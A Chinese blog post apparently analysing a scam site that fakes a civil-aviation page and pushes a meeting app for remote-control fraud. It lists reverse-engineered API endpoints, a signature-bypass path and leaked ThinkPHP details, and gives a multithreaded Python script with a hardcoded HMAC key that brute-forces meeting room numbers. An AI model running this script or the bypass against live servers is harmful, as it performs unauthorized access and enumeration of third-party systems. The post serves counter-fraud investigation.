某诈骗网站分析

伪造民航网站,让你下载会议软件骗钱的。

周三 4月 02 2025
478 字 · 4 分钟

诈骗网站链接:

PLAINTEXT
http://156.254.50.19/

image-20250402204415104

经过目录扫描发现网址:

PLAINTEXT
http://156.254.50.19/ad.html

这是更新跳转链接的,没什么用?

然后诈骗流程

大概就是下载一个n会议客户端。然后远程操控你手机来骗钱吧。

经过对客户端逆向分析,得到以下api:

image-20250402211108923

注意:用前面的网址访问thinkphp需要x-signature,但是可以用http://172.83.157.18:39001/api/room/create,即不需要签名也可以访问而不会报错403。

PLAINTEXT
http://172.83.157.18:39001/api/room/create 
http://172.83.157.18:39001/api/room/random_name 
http://172.83.157.18:39001/api/room/delete 
http://172.83.157.18:39001/api/config/errorLog

尝试对会议号爆破脚本如下:

PYTHON
import hmac
import hashlib
import base64
import json
import time

import requests


def generate_hmac_sha256(data: str, key: str) -> str:
    if not data or not key:
        raise ValueError("Input data and key cannot be empty")

    # 使用 UTF-8 编码转换为字节
    key_bytes = key.encode('utf-8')
    data_bytes = data.encode('utf-8')

    # 计算 HMAC-SHA256
    hmac_obj = hmac.new(key_bytes, data_bytes, hashlib.sha256)
    hmac_digest = hmac_obj.digest()

    # Base64 编码
    return base64.b64encode(hmac_digest).decode('utf-8')


# 示例

def req(name):
    url = "https://dogs.uhys.site/api/room/join"
    payload = json.dumps({
        "name": name,
        "versionName": "1.3.20",
        "app": "Android",
        "phoneInfo": "品牌: Xiaomi;型号: Redmi Note 7;版本: 12"
    })
    timestamp = int(time.time())
    hash_time = hashlib.md5((str(timestamp)+"_KTFrzc").encode()).hexdigest()
    ua = f"{timestamp}_{hash_time}"
    secret_key = "sdasdeasdafiinxhkjasodjlkasdkiwjlakc"  # 这里的密钥应从安全存储获取
    message = str(name)
    hmac_signature = generate_hmac_sha256(message, secret_key)
    #print("HMAC-SHA256 Signature:", hmac_signature)
    #print(ua)
    headers = {
        'x-signature': hmac_signature,
        'user-agent': ua,
        'Content-Type': 'application/json'
    }

    response = requests.request("POST", url, headers=headers, data=payload)
    if "不存在" not in response.text:
        print(response.text)
    else:
        print(f"{name}不存在")

import threading

def thread_function(start, end):
    for i in range(start, end):
        req(i)

if __name__ == "__main__":
    threads = []
    start1 = 1000
    num_threads = 100
    range_per_thread = (9999 - start1) // num_threads

    for n in range(num_threads):
        start = start1 + n * range_per_thread
        end = start + range_per_thread if n < num_threads - 1 else 9999
        thread = threading.Thread(target=thread_function, args=(start, end))
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

注意user-agent和x-signature的生成逻辑。

其中create这个api经过逆向分析传入了一个uuid参数,具体内容为android_id。应该是通过判断这个检测有没有权限开启会议。

image-20250402205031237

继续对api进行分析,发现用的是ThinkPhp,版本号v6.1.4

image-20250402205305618

同时泄露:http://172.83.157.18/,这个疑似是视频通话的平台(Jitsi Meet),绑定域名https://meet.uhycloud.sbs。

同时发现端口172.83.157.18:5280,是Prosody。扫描目录发现路径172.83.157.18:5280/sessions

image-20250402205645189

应该是活跃的session数量?

ThinkPhp泄露了部分源码。

image-20250402205913233

image-20250402210042258


Thanks for reading!

某诈骗网站分析

周三 4月 02 2025
478 字 · 4 分钟